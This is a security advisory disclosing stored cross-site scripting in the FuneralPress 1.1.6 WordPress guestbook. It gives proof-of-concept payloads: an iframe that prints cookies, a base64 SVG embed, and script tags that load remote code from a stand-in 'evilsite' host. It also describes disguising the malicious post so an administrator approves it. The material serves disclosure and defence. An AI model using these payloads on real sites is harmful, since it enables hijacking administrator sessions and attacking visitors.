WordPress FuneralPress 1.1.6 Cross Site Scripting

`#  
#  
# WP FuneralPress - stored xss in guestbook  
#  
# "FuneralPress is an online website obituary management and guest book  
program for funeral homes and cemeteries"  
# http://wpfuneralpress.com/  
#  
# tested on: funeralpress version 1.1.6 / wordpress version 3.5.1  
#  
# impact:  
# malicious script execution as wordpress administrator  
#  
# author: [email protected]  
  
  
# summary  
  
A low-privilege or guest user can inject code via the  
<textareaname="photo-message">, <  
textarea name="youtube-message"> and <textarea name="message"> elements  
which are part of the wpfh_upload_form form in  
http://site/obituaries/?id=[ID]&f=guestbook&m=add  
  
Scripts injected via the "photo-message" and "youtube-message" elements  
will be executed by the admin user when they browse to the guestbook admin  
page at http://site/wp-admin/admin.php?page=wpfh-guestbook  
  
If a malicious post is approved by the admin, the script will be run by  
anyone viewing the guestbook.  
  
  
  
# details  
  
There appears to be some basic xss protection on form submissions using <  
textarea name="message"> and code injected via this element is not served  
up on the guestbook admin page.  
  
Despite this, scripts injected via an iframe or embedded svg will be  
executed by anyone viewing the guestbook at http://site/obituaries/?id=1&f=  
guestbook on the condition that the post is approved by the site  
administrator. The chances of an administrator approving a malicious  
message are increased if some normal-looking text is inserted above the  
malicious code, resulting in a legitimate looking "Message Preview" field  
on the admin page.  
  
## message post example:  
  
1. Attacker browses to:  
http://site/obituaries/?id=1&f=guestbook&m=addand submits the form  
with the following entered into <  
textarea name="message" style="width:98%;height:170px" id="wpfh_message_  
textarea"></textarea> :  
  
Poor Peter was a fine old chap, such a pity he was eaten to death  
by a pack of wild children.  
  
<IFRAME SRC="javascript:document.write('xss cookie: ' +  
document.cookie);"></IFRAME>  
  
<EMBED SRC="data:image/svg+xml  
;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZW  
NtYXNjcmlwdCI+YWxlcnQoInhzcyBhbGVydCIpPC9zY3JpcHQ+PC9zdmc+Cg==" type="image/  
svg+xml" AllowScriptAccess="always"></EMBED>  
  
2. Site administrator browses to http://site/wp-admin/admin.php?page=  
wpfh-guestbook, sees an entry with a message preview that reads "Poor Peter  
was a fine old chap..." and approves it.  
  
3. Anyone browsing to http://site/obituaries/?id=1+&f=guestbook will  
execute the injected script  
  
  
  
The xss flaws in <textarea name="photo-message"> and <textarea  
name="youtube-message">  
are more serious, as scripts injected here are served up to the admin user  
when they attempt to approve the guestbook comments at http://site/wp  
-admin/admin.php?page=wpfh-guestbook  
  
As with the regular guestbook messages, if the admin approves a malicious  
photo or youtube message the script will be executed by anyone browsing to  
the guestbook.  
  
## photo/youtube post example:  
  
1. Attacker hosts malicious javascript on another site:  
  
http://evilsite/fp.js :  
document.getElementById("topmenu").innerHTML="<h1>XSS</h1>";  
//rewrite admin page  
  
http://evilsite/doc.js :  
document.write("document.write XSS");alert("XSS");  
  
2. Attacker browses to:  
http://site/obituaries/?id=1&f=guestbook&m=addand selects either the  
"Photo" or "  
Youtube" guestbook message option  
  
3. If Photo was selected, the attacker enters a path to a local image  
in <input type="file" name="photo" id="wpfh_message_file">. Otherwise they  
enter a Youtube link into <input type="text" name="youtube"  
style="width:95%" id="wpfh_message_youtube" value="">  
  
4. Depending on which type of message was selected, the attacker  
submits the form with the following entered into  
<textareastyle="width:100%;height:70px" name="photo-message"></  
textarea> or <textarea style="width:100%;height:70px" name="youtube  
-message"></textarea> :  
  
<SCRIPT SRC=http://evilsite/fp.js></SCRIPT>  
<SCRIPT SRC=http://evilsite/doc.js></SCRIPT>  
  
5. The site administrator browses to http://site/wp-admin/admin.php  
?page=wpfh-guestbook and the scripts that have been injected into <table  
class="wp-list-table widefat fixed posts" cellspacing="0"> are executed:  
  
<td style="background-color:#ffd1d1 !important" >  
<a href="http://www.youtube.com/watch?v=tsLkL8DTHeg"  
target="_blank">View Video</a><br><SCRIPT SRC=http://evilsite/fp.js  
></SCRIPT>  
<SCRIPT SRC=http://evilsite/doc.js></SCRIPT>  
</td>  
`